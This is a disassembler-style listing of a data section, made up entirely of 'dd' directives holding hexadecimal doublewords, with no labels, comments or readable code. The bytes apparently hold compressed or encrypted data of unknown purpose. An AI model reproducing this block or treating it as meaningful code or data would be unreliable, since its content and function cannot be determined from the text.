		dd 0F4A10880h, 0EB136A25h, 0C89E1200h, 0ADDDB497h, 3717CE0h
		dd 96FD95C9h, 79D0F5F6h, 74004959h, 3D0CBDE1h, 0F418DF5Dh
		dd 923B1F2Dh, 0E7287D94h, 98BA00C7h, 12B86AA2h,	2D00B989h
		dd 0C2545978h, 0E0C9D9h, 0F508B0FAh, 0AFFBECC6h, 0FC2D4F00h
		dd 0FED6347Dh, 36D717Bh, 8C9FF957h, 13C81651h, 524807D5h
		dd 581C7830h, 45009DBFh, 32049963h, 0FDEF00DDh,	75C95174h
		dd 5500D81Fh, 0C222F4FEh, 2D32EEh, 0FCCA09CCh, 73133AE9h
		dd 566AE0A8h, 0D2A28B07h, 8927D38Eh, 0EC60B7E7h, 8A6B57h
		dd 3315DC95h, 3B6A229h,	8060D83Bh, 9751820Ch, 1FE0A8Ch
		dd 577C8A67h, 80F3D5A2h, 15CAEA39h, 0A5EC526Ah,	0C28F002Ch
		dd 3230B115h, 5A292003h, 9A0C7072h, 0ED0F0028h,	96317DE8h
		dd 580A3051h, 30C35E60h, 0CB11D77Fh, 0CF013463h, 53B7696Fh
		dd 8BC31E8h, 3B9621E0h,	0D003F34h, 0CA22DB2Ch, 68316Fh
		dd 995EB9E8h, 13F45845h, 4087F500h, 0D14EDBDDh,	5F670CFDh
		dd 787956F3h, 0A701CEE6h, 0D691EC98h, 898B3D0h,	0A2132103h
		dd 8C35CE3Bh, 50DE8065h, 0C60B0D50h, 0F4888E12h, 9677ACAAh
		dd 730C9FB0h, 8970DD7h,	0F821D6A0h, 7CFF00A6h, 0F6CE4BE3h
		dd 0F3793044h, 48B80CC9h, 6C36D80Ch, 1887A08Dh,	0B0CED560h
		dd 0D600A89Eh, 78292506h, 0A5E7BAh, 0FE15FCC1h,	0F872362Fh
		dd 3F73A700h, 271062D9h, 0EEF77E0Dh, 0DEA10097h, 0F69AA264h
		dd 0B200B1C8h, 54B9DC18h, 196D3BBh, 0A9014B39h,	6020E83Ah
		dd 0D6719002h, 4E46B900h, 0DB68E54Ah, 0BF3224E1h, 0FCAF0010h
		dd 0F8811EB3h, 1799840Ch, 3AF559FDh, 0FC3C9A7Fh, 0F2322877h
		dd 0AF07000Ch, 48065EABh, 9400E649h, 57860884h,	64CF41h
		dd 238D6DD6h, 0BD329985h, 9640C71Dh, 496EB442h,	0C3F5242Ch
		dd 0A0C760FEh, 0D87BB54Ah, 38AA600h, 93FA1BF6h,	329F3DC4h
		dd 0DB6A8E83h, 35887D2Ah, 0CF18BF0Ah, 0BDB8F718h, 0B251C32Bh
		dd 1818CEF2h, 8AB99F15h, 0DF9A000Bh, 0D8EDF95Eh, 1701AE5Fh
		dd 7976AC4Eh, 77F842CFh, 0AF400063h, 6FE0DCE5h,	0AB000F89h
		dd 0C280BCFDh, 864AA8h,	0C8FEF375h, 0D4859B42h,	9DF7070Ch
		dd 0C00C08DCh, 4337DD21h, 8E076D29h, 2D103C73h,	0B9C86FA0h
		dd 2651C819h, 0BF42C4C0h, 0F8F42185h, 160F69Eh,	47433409h
		dd 0E81ACE3Ch, 0CD000455h, 0BD830AFAh, 0E861EC1h, 78E3F0BBh
		dd 1510F30Ch, 0CD739C0Eh, 822A80DCh, 0E829B4F2h, 0C021C0F8h
		dd 22F573C9h, 2DA4300h,	4237B4AAh, 0F230CD6h, 752955C2h
		dd 331F1106h, 11F93Ch, 2C45C853h, 59BCA18Bh, 0BD09761Dh
		dd 0B821DC18h, 0F74502C6h, 2099236Ah, 3CC557E0h, 201F0330h
		dd 4DA8ACh, 0A225BFA6h,	0BA5E7FA9h, 9EEFEB00h, 0B1221267h
		dd 0A5A6001Dh, 0B75D4C60h, 7415FC0Fh, 3F9826C8h, 392C811Eh
		dd 54E01FCFh, 18A87420h, 21C04AD7h, 390126C3h, 0F0A0AD43h
		dd 19838298h, 339BDEB9h, 8014E07Dh, 2330E86Fh, 392A01C6h
		dd 0A0301FCDh, 8F443058h, 39C400C1h, 0CAD6461Ah, 4008C8Ah
		dd 4C80BBE0h, 0A084D787h, 1409BF4h, 1320A448h, 0DC3A5725h
		dd 9A008534h, 64277294h, 7D7618h, 0E217D267h, 0F85D6E47h
		dd 0A4121600h, 182B3493h, 36BC3E6Bh, 4349541Eh,	0C22897BEh
		dd 0FE7E53B8h, 63F8E1FCh, 45058600h, 25DFB906h,	0B5A6000Eh
		dd 0D5A9D7FDh, 65002BB2h, 0AE8ECC4Ch, 0D9AD1Fh,	57034D99h
		dd 0CA185D7Ah, 8CCE1C03h, 0B0B59C01h, 81414Ch, 956B0D2Ch
		dd 42508733h, 8817A500h, 83D622B9h, 7A7D00DAh, 76FA8C98h
		dd 55003DA6h, 796BF27Fh, 72FEA31h, 931765E9h, 752510A3h
		dd 0A200C5D7h, 159C8859h, 0E09E64h, 0D8FAE91Bh,	0A08C1838h
		dd 8300367Fh, 1CCC0E85h, 33CFFD3Ch, 0AF09275Fh,	5E52100h
		dd 685E72CCh, 267F0FFBh, 0A588FD58h, 461B771Fh,	0E796C028h
		dd 0D98E0092h, 0B6FF02D2h
		dd 787E06A4h, 0ACB9301h, 4F5A8C9h, 18FA73C4h, 49779ED6h
		dd 1EFE756Ch, 1AC65A00h, 0AE032991h, 2DB07A4h, 0D61306A7h
		dd 630070A6h, 0E3437CEEh, 666F59E1h, 215E09DAh,	7C01D6FAh
		dd 1CA1DE3Eh, 0DDC8D892h, 5F3C1890h, 0F15CA93Bh, 85169A00h
		dd 9DC72502h, 4067605Eh, 51446F52h, 80117B3Dh, 5BFBD8E0h
		dd 47FB4D5h, 0F721FA9Bh, 82C4C13Dh, 329050B9h, 0C8E99175h
		dd 0A800DFFDh, 2BA1647Dh, 307808C7h, 0D52980E6h, 8B541623h
		dd 3E00039Ch, 45A7465Bh, 0CFAC1h, 200680CFh, 77FE1049h
		dd 0BB581803h, 5392774h, 0D7430CB9h, 23E02FDFh,	35803DA9h
		dd 0C8A4A279h, 7B30C45Eh, 33A5215Dh, 2C0EA0Eh, 0E05639F3h
		dd 30901B38h, 3CF2CC0Fh, 0AD222546h, 0CC06E600h, 0CD28C5A3h
		dd 0A2DD0F24h, 9D04AA6Fh, 0FE360778h, 5200C0FAh, 1AC1E8E0h
		dd 0D1D900F0h, 0B69D79E5h, 0C71960BDh, 3AF0AB15h, 91369510h
		dd 0AEF88A02h, 4C0DA701h, 7CE90E04h, 8891E344h,	0D1208051h
		dd 6E2EB37Ch, 0DFD84C00h, 0B7F152A2h, 33D79F6h,	0C49A656h
		dd 3064A44Ah, 0EF600760h, 0E323467Ch, 5811F9h, 8B7CD71Ah
		dd 3F18067Ah, 24040FC8h, 88215E27h, 0EF314988h,	0A3823161h
		dd 0C4189850h, 0D93C1DA4h, 347585C0h, 0B180465h, 0D1334057h
		dd 11BB48h, 4284BEEFh, 55F0494Ah, 3A7421C5h, 0F952E020h
		dd 46821220h, 9D340596h, 0E8BC408Ch, 0F60E661Bh, 0B3A20C3h
		dd 84083D21h, 920E48E9h, 0EE37FAA4h, 3D285800h,	307D4E0Fh
		dd 0C561BFDDh, 11003087h, 0E8953357h, 8C174Fh, 2F5BAEE6h
		dd 75C1B556h, 0C4A871C0h, 0A12780h, 7E3C3F2h, 75FAA7E4h
		dd 1811B0A1h, 487C04E5h, 325CC9E3h, 0ED2C2257h,	0F226C080h
		dd 0A43BFC71h, 70160282h, 47DF113Fh, 61564408h,	0C770F6ACh
		dd 0AA482807h, 118464Ch, 0E34D7CECh, 450C5D31h,	0D41588h
		dd 3CBA097Ch, 0A7EE7819h, 0AC3894A8h, 12B89200h, 0EDE2AB64h
		dd 56997C6Dh, 2402C8ECh, 0F8F61966h, 35118731h,	23B7D41Dh
		dd 9596FC00h, 2B729DD1h, 0E87C0144h, 16DFF9AEh,	5F60204Ah
		dd 4D49h, 3CCD8699h, 1F06742Ah,	80AECCA8h, 0AB936897h
		dd 0DB1ADF55h, 37A86420h, 0C75280C4h, 7903D7A0h, 64E53904h
		dd 5C8C355Eh, 745644EFh, 8658384Ch, 0A7F98BEEh,	6089444Ch
		dd 0BF8EEF1h, 0E416F562h, 5DC8E200h, 59CE0122h,	5F4C9F1Ch
		dd 56713Dh, 0BEEAA14Ah,	0B7A23F94h, 30404C3Ah, 42FB2151h
		dd 0DF6F00A1h, 0EEC66557h, 0DE059050h, 0B4EC7855h, 3F5DE445h
		dd 60E8AC22h, 1F0729Dh,	4D53ACFFh, 0FDBA3DFBh, 1F227045h
		dd 39858C30h, 91AFE54Eh, 1856D128h, 0C71601A0h,	5D77AB18h
		dd 33818070h, 0EDCF44F2h, 505900D3h, 0F6817422h, 0D72C468h
		dd 0D9231500h, 9E0EAAC5h, 0BFB003Ah, 2717B580h,	99C5A58Dh
		dd 942F1BE4h, 0C18B7210h, 7C97D3AAh, 0A944660h,	709E3812h
		dd 631F8BE0h, 35DF8275h, 880CA7F8h, 0F1EB6AD3h,	0F0C55864h
		dd 11C08032h, 198A8CE5h, 8563101Ah, 0B9C0439h, 4A7CEB60h
		dd 4CD9E324h, 0ED32670h, 0DF9EDE7Ch, 3A81FA3Ch,	3D74E5ABh
		dd 0E161073h, 0B97029Ch, 0F0B54528h, 0E8AB3620h, 12E0906Ch
		dd 0A0AE48C4h, 0B1E633Fh, 0E70F858Eh, 0F7E1A006h, 9A243015h
		dd 0F018E914h, 0E3497C04h, 523259D1h, 7CD81920h, 8DA80118h
		dd 0C6433FFBh, 5E76DCADh, 48896361h, 0C4E45208h, 0C94F00F1h
		dd 6AE162E0h, 0FA00AB4Dh, 4223879Dh, 0A5F74950h, 0C54A80A4h
		dd 383EBB8Ah, 0C4F0A58Eh, 5DFE604Fh, 99506924h,	42E83488h
		dd 0E2554E72h, 91D01735h, 8291834Fh, 47B100BCh,	0C5C13A0Bh
		dd 0EE02D996h, 22091072h, 44E447A4h, 4384604Fh,	1B0D033Eh
		dd 968C2345h, 9E2B6900h, 0B7C8FFD1h, 33CE0091h,	0EA2E6F01h
		dd 9F904673h, 0D02AE37Fh, 30B9EC05h, 0DE185171h, 0AB5DAC00h
		dd 9EE3EFE0h, 20945Bh, 0F554A893h, 6504AA85h, 0D3FB753Eh
		dd 35070AFBh, 0E0DD3E96h, 0C61C8BBCh, 19817142h, 805A096Ch
		dd 0C0289C47h, 0BEE4A148h, 7510A446h, 80013B8Bh, 0FC5395A1h
		dd 0DBE97D5h, 645F1A60h, 0E5B48041h, 412C1716h,	0AD03007Bh
		dd 0BD9790Eh, 9A02908Ch, 0C1BA23B0h, 0E0104B72h, 0CD0B8A4h
		dd 3E5F5264h, 0D006149h, 3B12E44Bh, 0B17A0F8h, 84E7C2FCh
		dd 60D08804h, 74356618h, 800CFBF6h, 0EA113188h,	6D550038h
		dd 0F5A8E0C2h, 5738B323h, 5AED80C3h, 1618C6E7h,	1CD0A86Dh
		dd 0D7224C1Bh, 0B0449202h, 0A4A09582h, 29A5431Ah, 0F16CF600h
		dd 537CD53h, 0EB6E38C4h, 1EC6D607h, 0C3A89A8Bh,	0BEF9A14Dh
		dd 8044237Ch, 0D3A14508h, 6BE8009Fh, 251FB15Ah,	8E60BEBAh
		dd 0DCFAA8E1h, 388D05F0h, 0CB96F1C7h, 0C789C808h, 0C72FC0ACh
		dd 303D059h, 74AB1678h,	0A5D9263Bh, 4C1E0660h, 0BE29A037h
		dd 5159641Ch, 0BC03E018h, 0C1B4BF17h, 13811382h, 69044074h
		dd 63CCDF81h, 0E7958000h, 0ACDA1FD7h, 709E48FCh, 57C63905h
		dd 0F86C89F5h, 7400FE43h, 9DB8C75Bh, 310C6E9h, 4960D827h
		dd 59058408h, 7AB6B477h, 3F749821h, 49142072h, 0FA0A14FDh
		dd 0A4CBBB9h, 45ECD57Dh, 0C44C85Eh, 39FBE201h, 62601EFAh
		dd 0CAA4120h, 8A167938h, 0F500B449h, 6F7B9B22h,	2F5CA3h
		dd 0B9E1329h, 46EDB274h, 7D433C06h, 2B61BDD9h, 80E8BAB4h
		dd 0C3CB53EEh, 59FC12B5h, 1769F22h, 4645DBB9h, 0E8A33260h
		dd 0BA000663h, 4FAAC7F1h, 1182DFh, 0CA4AD531h, 7D89DFDh
		dd 0DBF9FF01h, 0B39F6C14h, 37C6FCh, 2098018Ah, 1DBF3A04h
		dd 4AF1A20Ch, 0F4B641DCh, 93CA1F2Ah, 3FEF260Ah,	647F8887h
		dd 0ADE28065h, 990083E0h, 90EBF4FCh, 7E10A202h,	540DE29h
		dd 0C0BBC595h, 0D263ECDBh, 5265D30Eh, 0F406E0B2h, 0B83CAE3Eh
		dd 9B30C058h, 0EF531E3Ah, 1EC6373h, 250019DDh, 0AEC391F9h
		dd 0D70200CCh, 90150AECh, 523C9370h, 2D71803Fh,	49A9FF10h
		dd 3DCFA9Bh, 31B4CC7h, 2001411Eh, 1A9876CAh, 5887F48Bh
		dd 0C03C61B1h, 24C24DF8h, 0FF5E3Ch, 0BF1C79AFh,	0C5489Fh
		dd 52BD2307h, 6F4F06E8h, 323F5F00h, 0D949C8B1h,	62201497h
		dd 0F100949Bh, 0BB6C106Ah, 2D1888EEh, 719985Eh,	0DE160729h
		dd 0C25AD3E0h, 90901AC0h, 31006451h, 0F6F2C2Eh,	0A8DE4A5Bh
		dd 6517BCh, 5067578Fh, 0B977088Bh, 18F09B0Ch, 1D4CC174h
		dd 0D43CBEh, 232DFB1Ah,	7E0028D1h, 631EC32Ah, 15697697h
		dd 0A4E41CE2h, 0F2B1020Ch, 2B037161h, 4C09C1F8h, 0C537E004h
		dd 992A671Ah, 5DC7DFA0h, 0EEBE403Eh, 9230A115h,	0F0114967h
		dd 0B14D03A9h, 834F905Eh, 33108198h, 4036F0Eh, 0BD32201Ch
		dd 30E27076h, 4639ED1Fh, 980C9C14h, 89FA4AE1h, 4924016Bh
		dd 51DC1EF4h, 0EBCFDCB1h, 22C9877h, 0B4004307h,	8D0E5CB8h
		dd 8180F50Fh, 0B557082Ah, 9C79C768h, 17CBED00h,	7FA65F25h
		dd 493017Ch, 180B2B6Ch,	83C4509Eh, 3B039D2Dh, 0FD54D72Fh
		dd 41F89AF7h, 60203A10h, 30477ADFh, 62319C19h, 0AE006F7Eh
		dd 2DC8505Bh, 1924758Fh, 0D1EB3F7Bh, 958BF8FDh,	5CBAEE00h
		dd 0B9BB85E7h, 0D6A11F2Ch, 33760C77h, 0ED07ABB1h, 89A842Ah
		dd 1C031053h, 80A74519h, 0B02C3B02h, 7E1D1DCAh,	2694C1C5h
		dd 0CD2E14B9h, 477801A4h, 0F94A09DCh, 1B209C57h, 441081Dh
		dd 0A049819Ah, 0E5A4883Fh, 23DAF200h, 37ADC568h, 8EFA1EB2h
		dd 8D4F00BDh, 0CCB5024Ch, 781849CAh, 8FEB4900h,	1E7894EDh
		dd 1212F2E1h, 2E1820B3h
		dd 9800710Eh, 415295F6h, 19B1D85Fh, 4187742Dh, 0D299E02Bh
		dd 0EDA95912h, 3A040Bh,	7C529210h, 75DD0771h, 0A01101ACh
		dd 1215E2C1h, 0A9B1CFh,	276A6103h, 639215A7h, 2012902Dh
		dd 51A4307Ah, 130DFE0Dh, 99E54AB9h, 0B1C8E0h, 0A2CDD973h
		dd 0C54F1AABh, 679FAC00h, 59B3D34Dh, 0F411500Bh, 5FD7001Ch
		dd 9278702Ah, 0C2184169h, 0C8619F19h, 67053CB9h, 91E68080h
		dd 4AD7B24Fh, 0EA3E3500h, 20FF11EFh, 0A248A075h, 9158006Fh
		dd 86B88A4h, 923A49B8h,	73760168h, 0AF02DD77h, 1928E822h
		dd 0C53A3E1Ch, 96A1E80h, 2165E2F9h, 24712026h, 80C46040h
		dd 3430F1C1h, 91FC5Fh, 56E65A24h, 23C9007h, 9159CA8h, 0A26AF20Fh
		dd 7CE960B5h, 1C4ED353h, 0C1F4388Ch, 92F13551h,	12F88FF6h
		dd 94892091h, 709FE01h,	0C7EC40B8h, 0F7BF40BDh,	82040F07h
		dd 90E45881h, 1FA81780h, 0F03C309Fh, 9294BC71h,	0DCF3900h
		dd 0EACD45F3h, 6F2AC0A7h, 609154F9h, 0CBC4A30Eh, 4A92C039h
		dd 294326Bh, 0A77F4940h, 0ECA0AC02h, 0F63F0931h, 84D659C0h
		dd 5E7056Eh, 0D758DD9h,	505CC7C1h, 35421B6Bh, 0C4AFBD26h
		dd 0B4E6040Ah, 6A02A200h, 1C9A05C3h, 4C4491A1h,	0D051EF3Fh
		dd 241FC100h, 750E1127h, 1B872417h, 0A85909A4h,	0DD4A0403h
		dd 0CDC98900h, 0B542D912h, 0D2E80404h, 817A148Ah, 62492A18h
		dd 22760A84h, 700DF9Dh,	0AC9C5C18h, 0CB0A35F5h,	1994318Ch
		dd 0EED03489h, 7D2CDB00h, 1A6943E0h, 7A510086h,	23DDE7C3h
		dd 31265AC0h, 0B100A0FBh, 0A1E04D2h, 2AA4F026h,	942E10h
		dd 123C6916h, 55076E6Dh, 0F0099D03h, 0D0D394B4h, 0F01CD742h
		dd 4CD178BCh, 0AEC1B41Dh, 739C9A47h, 0BDE0304h,	8864C20Eh
		dd 123E8C3h, 0A3499BC6h, 4101E3AFh, 20C888D5h, 5700EFD4h
		dd 7534F32Eh, 997495F1h, 809C21BCh, 85399306h, 7C03E2F5h
		dd 346AA779h, 441ABAFAh, 2DC100ECh, 9CB2D54Ah, 2E496B9h
		dd 0EBC45E06h, 49F0A8h,	0B7C1A441h, 0A36C1630h,	104F730Ch
		dd 19C712Ch, 49BDB93Ah,	0F43D7250h, 53AAD2Ah, 94CD9DB2h
		dd 0E43C8CC4h, 2D401340h, 5D009EE6h, 74B1231Bh,	0C0EC3FE3h
		dd 5E68AD21h, 0DA006F96h, 2FDE9EB7h, 0C23386Bh,	840346EEh
		dd 0A9FC4A88h, 6602B48h, 0DE19E279h, 0DC62EB41h, 51BB4E03h
		dd 65B3A71Dh, 0C80CC79Ch, 0A654A5h, 7C3B23D5h, 0E503C990h
		dd 7995DCACh, 6041483Ah, 4005DCDFh, 0ED800353h,	6F3B1527h
		dd 4B54005Bh, 62ACD220h, 5F8B2C74h, 0F7B40C8Ch,	6D00E239h
		dd 79F3B21Fh, 0DF1D2Bh,	0BB79B37h, 0A386E748h, 66D9214h
		dd 0E12238h, 95444BB0h,	0ED17A6BCh, 1C66D600h, 0D9C0D8CEh
		dd 3691025Eh, 3CA95876h, 0F78C9C90h, 5E16332Ch,	0B4156600h
		dd 26789B43h, 114801ABh, 30B81FFAh, 2D01A15Ch, 0B2B14558h
		dd 188428C0h, 102FE490h, 1048FB32h, 14C88028h, 67DDD8h
		dd 6D54DBBAh, 5D628CC0h, 8FFEF209h, 2F8C03A3h, 37083AD1h
		dd 0B4911A15h, 0BDE89C00h, 0BA650389h, 0D3823217h, 219F900Ch
		dd 50B60010h, 0FC21ECEDh, 8828A758h, 3A0B9DB7h,	103CBC2Ah
		dd 6598E4h, 0EDCC0E12h,	0CBD28952h, 557EC701h, 0EF3C14AFh
		dd 0E2992h, 0DABE7298h,	0D009123Bh, 103FE448h, 97F3A40h
		dd 0E1F6B918h, 0C308408h, 0CDF12B10h, 57E0F200h, 7FBF8940h
		dd 4430164h, 0F81D4B39h, 61043085h, 30B4800h, 9009056Ch
		dd 34743192h, 70322041h, 8E8B724h, 4AD13501h, 8AEA7371h
		dd 0B59CC60h, 532B0790h, 8115EC18h, 500183EEh, 0B288B8A7h
		dd 51813619h, 8D3C8AF7h, 38783039h, 0B414AC26h,	6C240Bh
		dd 56917A64h, 5820B027h, 7111F817h, 1D097C84h, 0AF7719C4h
		dd 2D1A2078h, 0D76EF2h,	4C70E1E8h, 0D6A6699Ah, 95547F09h
		dd 0FB204875h, 0FC1E30A7h, 0A984C558h, 1C693A1Ah, 2900C180h
		dd 38A37008h, 0F880C2BDh, 48B85B20h, 0E09E0017h, 6968D5A7h
		dd 90B94FC2h, 58023400h, 2496C0F7h, 98C498h, 130CB109h
		dd 0A491B5EBh, 9BC77101h, 0E7F1D3D2h, 9802A180h, 0D79F3420h
		dd 689919F8h, 6140831Eh, 1FB2937Ch, 0ACA948E2h,	0C00856C4h
		dd 50673896h, 7E8CB200h, 7FB71B3Ch, 40260E6Bh, 272FA953h
		dd 0E07C2376h, 8EFDB9C8h, 0C5AABC00h, 6CE6183Eh, 18911Ah
		dd 54456DA8h, 7502EF68h, 0B87897B2h, 0ED607D46h, 9A00363Fh
		dd 809FDAF4h, 25D08D9Bh, 0F418A7A1h, 60A01FE2h,	4F0FC88h
		dd 0AF74E350h, 0D03D69DEh, 20882DD0h, 80BCB963h, 3A60A20Ch
		dd 0A64C5A12h, 0BA900C7h, 0E7274645h, 0B2C80157h, 34B5F418h
		dd 5591C8A0h, 245111Fh,	0ED243028h, 2441943Ah, 2AEC1C7Ch
		dd 447B7C12h, 0F604B3F5h, 2E2203AFh, 45F381EBh,	2D9BF4C6h
		dd 91997A35h, 0A9507405h, 14B4CCCh, 88CD6FABh, 0F0A63FDFh
		dd 23004937h, 6ABD9D45h, 0C0F44A08h, 0A4F5B889h, 1CB0AFB6h
		dd 74A6A907h, 0A1937948h, 0F2B8C8E7h, 77A53243h, 0F7C04408h
		dd 5D0C5FFDh, 30AE8B64h, 264F0034h, 2D1F052Bh, 36310ED6h
		dd 0B8A918ACh, 60D1AE60h, 65DA1191h, 0C400C9E2h, 0B2375B88h
		dd 0E043E7h, 644AE8F4h,	0E48B5246h, 7F81BF5Ch, 0A667FA01h
		dd 0A7011702h, 3664DC60h, 8A79AB98h, 0EB0C6DF0h, 0C135EA97h
		dd 26520061h, 729B40E1h, 5078D44Ch, 81962301h, 0B33351BEh
		dd 0AF444181h, 0F45DC3DCh, 0E906A367h, 0AD9D633Eh, 0E8600C21h
		dd 3F40D549h, 88539206h, 6910EFh, 0F2251A5Eh, 7C392FC8h
		dd 20CA8D00h, 8FC33CF1h, 4FF0005Ch, 0B83F78FEh,	80A0682Bh
		dd 660C9A6h, 0A3C6CB41h, 46EA148Eh, 9C22A8ECh, 9893D12Ah
		dd 190087B0h, 2BE23F67h, 7D90515Eh, 18BCF6D5h, 29A9D7C1h
		dd 0C23E12FAh, 0B4B907C0h, 0A6F0F6DFh, 11F0C01h, 98D850CCh
		dd 80AED7BEh, 2553E31h,	3F45BECh, 61F999A5h, 8173AF33h
		dd 0F3669A00h, 0E197F8B1h, 484B0C6Fh, 3821B233h, 0FF035600h
		dd 542432EEh, 63CF3041h, 0C04061E1h, 85044D00h,	0D348D8A8h
		dd 45240160h, 8426B836h, 12845217h, 53B4AD20h, 30875F2h
		dd 6F928926h, 0CED9BA9Eh, 0B5BD2004h, 25B879C3h, 6A697C6Eh
		dd 4404192h, 804230E4h,	0E7FC2F44h, 1DE99718h, 62342521h
		dd 0B35FF9A5h, 0D5C1BEC0h, 6E615605h, 8C30D4B7h, 2734F93h
		dd 415EC2ADh, 0DC90CD87h, 7C00AA0Eh, 10F4F54Dh,	0C8EBFF2h
		dd 4FA145B6h, 670CCF78h, 0E181CED4h, 0B0717D95h, 0ED833B80h
		dd 1C6FC880h, 1E7ED636h, 4E061598h, 3AC94661h, 6EDA00A9h
		dd 0AA385FD8h, 9D004DA0h, 9F1D15C6h, 2617A4h, 0F121F92Ch
		dd 47D20152h, 0CD610914h, 3A2880BCh, 1FEA0C18h,	47F28ABFh
		dd 0A008420Fh, 38274A24h, 0FE5C5500h, 0AE12BFDAh, 0D0923DB3h
		dd 0CF8B4B00h, 2ACC4F51h, 0D5079BEAh, 36F404FFh, 0EDA4550h
		dd 90995434h, 0AE430025h, 28BFB494h, 19C0AFD2h,	5BA003E8h
		dd 0C1DF05EDh, 206F18B5h, 0F9E975D4h, 12C5F64Ch, 0A8009FE0h
		dd 0B5D4D614h, 8794825h, 858E0188h, 6F3E607Fh, 0E0C2E3h
		dd 0C69C5415h, 0AEF1A9BBh, 7FB46D02h, 90300EA1h, 6EEC97DCh
		dd 3141410Ah, 2039E7DCh, 2FF4BF94h, 0B60EC900h,	4A9CFC67h
		dd 604E793Ch, 0BAB73107h, 691492C2h, 80A8CED6h,	31805976h
		dd 961339E9h, 0FC10DA80h, 0B895A125h, 0A6792A60h, 14AC9BCh
		dd 7CDEB4FEh, 369C6463h, 0D509738Ch, 11CA4654h,	4DE0B178h
		dd 0CC630388h, 0BF5E2322h, 0F73DD9C1h, 0BC863900h, 0E7926475h
		dd 50AE0238h
		dd 628507FFh, 0BE4EA860h, 913D000h, 754B7758h, 0C99D18F2h
		dd 0CD06611Ch, 0EC8A2E02h, 0E0D021B3h, 0A467125Eh, 509D52C8h
		dd 62494303h, 211F6CCDh, 0DD4038E6h, 0CE9A723Ch, 0D0AB7Fh
		dd 956D7778h, 71ED2D20h, 82183800h, 1DA07EBFh, 495E00BAh
		dd 4AF2E227h, 7500995Dh, 8A84665Ah, 9297E4h, 0A2467EEEh
		dd 1AD72A12h, 66799801h, 0A0322552h, 0E9EEE448h, 0E84A2C12h
		dd 391373C0h, 0B9993C37h, 0C097CE5Eh, 0E77D0955h, 6F9400DCh
		dd 2249F190h, 1732B864h, 4054496Dh, 5052D908h, 70432033h
		dd 2CFE16C3h, 879E000Eh, 8ADB56DDh, 0E8393D00h,	0D56EFF59h
		dd 702B31B5h, 0E56C4E49h, 182066D3h, 997ECA81h,	0DA290EF3h
		dd 0D420BE18h, 6C52B84Fh, 3D7AC005h, 8888D204h,	7E5A0091h
		dd 0D8181438h, 8D19490Eh, 9651B83Dh, 2EE2FB70h,	1E6B4022h
		dd 61884F7Eh, 82FE9DE5h, 5860A480h, 5254DA34h, 470E3F44h
		dd 65889D94h, 0C00B5804h, 0D17C00C1h, 898D9h, 42EB21B0h
		dd 9B33B446h, 6D4A39C0h, 3A181686h, 581F5583h, 71F34028h
		dd 0FA014DE5h, 9CBB6029h, 0BDA07A81h, 4AC8446Bh, 1BE94CCEh
		dd 61C09D02h, 5048F8BBh, 9860D236h, 8C31EBF1h, 5AD61CF6h
		dd 4E380025h, 1F57E38Bh, 80383C58h, 0B4ED2B27h,	64FC0020h
		dd 0F25EF175h, 0E2798D5Ah, 97C2E405h, 0EC08529Bh, 994E806Fh
		dd 31F147D9h, 6EFC1A03h, 4813B5ABh, 1D222879h, 0A71FAE07h
		dd 9400D005h, 7E0B41Bh,	6328C0DFh, 80995426h, 0CD9C734h
		dd 0E5C8D105h, 2CC04969h, 0A03213F0h, 376391BCh, 0F2B1AC93h
		dd 1CC151BAh, 0CB83109Bh, 0BFA100F3h, 9AE22E25h, 5D0EDE0Ah
		dd 421CC7AEh, 0C2A58ACFh, 24500A80h, 0C800B511h, 7682D505h
		dd 2A3CC41Dh, 0F82C9F44h, 90CAD94Bh, 0A647218h,	7CEDC0A3h
		dd 0CA7A1CB4h, 13AC2BE7h, 0FF0030DDh, 0EE017DF8h, 2EF048F1h
		dd 1D70C1E9h, 76580E62h, 6000F3EAh, 3207A652h, 0B5705890h
		dd 624E4CA0h, 5191BA19h, 198C95CAh, 92166CDh, 0D4A32A01h
		dd 0F41C9C60h, 0FE773E4h, 4E455C3h, 422486EEh, 0AA78CC5Fh
		dd 9C75EC00h, 0E7410736h, 0EE7B2802h, 9030F9F4h, 86C0A882h
		dd 0E4884C13h, 980825C0h, 26E45DF4h, 2A474500h,	0EF1684E6h
		dd 18C93380h, 76B89929h, 0D00CE2Eh, 48F240D7h, 0E6254BFBh
		dd 3F475C7h, 0EDCD2742h, 0D11694D1h, 0E70009A0h, 0B99D1F6Fh
		dd 193809C0h, 5F807D9Ch, 0CCBF5129h, 4CB8C73Ch,	9EAD03DFh
		dd 882650DBh, 7ED1295Dh, 0A5E91275h, 978505F4h,	3038CCF1h
		dd 0BA5B0A84h, 80F4B73Ch, 2DEDFBB0h, 0DF002C9Fh, 10816F97h
		dd 0B070114Ah, 0FCE701C4h, 2CB5CC3Ah, 80B8556Bh, 0D3B62FE4h
		dd 0CD634514h, 0C5C7070Ch, 9F1035BAh, 886E13B8h, 300054F1h
		dd 29CAC781h, 77A7A4BAh, 0D2DCF12Fh, 0E299C080h, 0B692878Eh
		dd 16AB4400h, 6FCCC0E1h, 0BC1B5053h, 0C1D0A0C9h, 994B0646h
		dd 8851BDE7h, 0CFB3DF12h, 0C9E4E600h, 59AC4E9Ah, 0CC94F8CCh
		dd 1EC324h, 15BF1B52h, 39009A75h, 0E52ADF8Eh, 7D89B2h
		dd 0C9624B60h, 0DA6D6380h, 0BEB8814h, 0BCEA8AE8h, 0B72420Eh
		dd 85087BEh, 5D8C48F1h,	2FE19440h, 0EBB400D2h, 0AAA6ED7Ah
		dd 4FF4DD26h, 99CFE401h, 3C95DF2Ah, 99BB48F0h, 0E6D68094h
		dd 2A0FAD10h, 2B88F81Eh, 2925B682h, 468CA4AAh, 45F3FC81h
		dd 6308F9ACh, 98B831F9h, 0B400C917h, 0E3D0D63Fh, 418EBE5h
		dd 0D5E11361h, 326DC0C7h, 522E5919h, 6D6090C1h,	0C91FF9h
		dd 2FA3BC58h, 1C4B04E0h, 0DCB3453Dh, 0E05358h, 0C3D30ECAh
		dd 2E705C80h, 7CCF181h,	8CC49BA7h, 0D7042FCCh, 0B94ACDEAh
		dd 4945B8C7h, 0B2FF9800h, 662EB5Bh, 0D2583B26h,	280381ADh
		dd 61D1011h, 3AE08070h,	0F34B00F1h, 4FF83D89h, 20E108D1h
		dd 680ACAC4h, 0C8F29779h, 3C8CF764h, 16080166h,	0D295868Eh
		dd 5161879Ah, 9FC0367Eh, 0ECFA4h, 1F20EEBEh, 0FA0B191Ch
		dd 0E7014A09h, 465C847Dh, 6A3D08E2h, 66F58C00h,	552EEDABh
		dd 0B79B7B17h, 68937F09h, 395D5FF4h, 291823B8h,	0ED98971h
		dd 4DC3252h, 56459AFEh,	0FF1460D7h, 82F11480h, 0CE337E1Eh
